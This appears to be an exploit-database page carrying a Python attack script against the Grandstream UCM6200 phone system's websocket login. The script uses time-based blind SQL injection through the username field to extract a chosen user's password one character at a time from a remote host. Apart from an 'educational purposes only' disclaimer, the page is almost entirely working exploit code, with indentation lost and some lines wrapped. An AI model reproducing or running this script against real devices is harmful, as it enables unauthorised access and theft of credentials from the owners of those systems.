Exploits / Vulnerability Discovered : 2020-03-31 |
Type : webapps |
Platform : hardware
This exploit / vulnerability Grandstream ucm6200 series websocket 1.0.20.20 user_password sql injection is for educational purposes only and if it is used you will do on your own risk!
# determine the length of the password. The timeout is 10 seconds...
probably
# way too long but whatever.
length = 0
while length < 100:
async with websockets.connect(uri, ssl=ssl_context) as websocket:
start = time.time()
login =
'{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"'
+ username + '\' AND LENGTH(user_password)==' + str(length) + ' AND
88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or
\'1\'=\'2","token":"lolwat"}}'
await websocket.send(login)
response = await websocket.recv()
# Now that we know the password length, just guess each password byte
until
# we've reached the full length. Again timeout set to 10 seconds.
password = ''
while len(password) < length:
value = 0x20
while value < 0x80:
if value == 0x22 or value == 0x5c:
temp_pass = password + '\\'
temp_pass = temp_pass + chr(value)
else:
temp_pass = password + chr(value)
temp_pass_len = len(temp_pass)
start = time.time()
async with websockets.connect(uri, ssl=ssl_context) as
websocket:
challenge =
'{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"'
+ username + '\' AND user_password LIKE \'' + temp_pass +'%\' AND
substr(user_password,1,' + str(temp_pass_len) + ') = \'' + temp_pass + '\'
AND 88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or
\'1\'=\'2","token":"lolwat"}}'
await websocket.send(challenge)
response = await websocket.recv()
if (time.time() - start) < 5:
value = value + 1
continue
else:
print('\r' + temp_pass, end='')
password = temp_pass
break
if value == 0x80:
print('')
print('[-] Failed to determine the password.')
sys.exit(1)
print('')
print('[+] Done! The password is', password)
top_parser = argparse.ArgumentParser(description='')
top_parser.add_argument('--rhost', action="store", dest="rhost",
required=True, help="The remote host to connect to")
top_parser.add_argument('--rport', action="store", dest="rport", type=int,
help="The remote port to connect to", default=8089)
top_parser.add_argument('--user', action="store", dest="user",
required=True, help="The user to brute force")
args = top_parser.parse_args()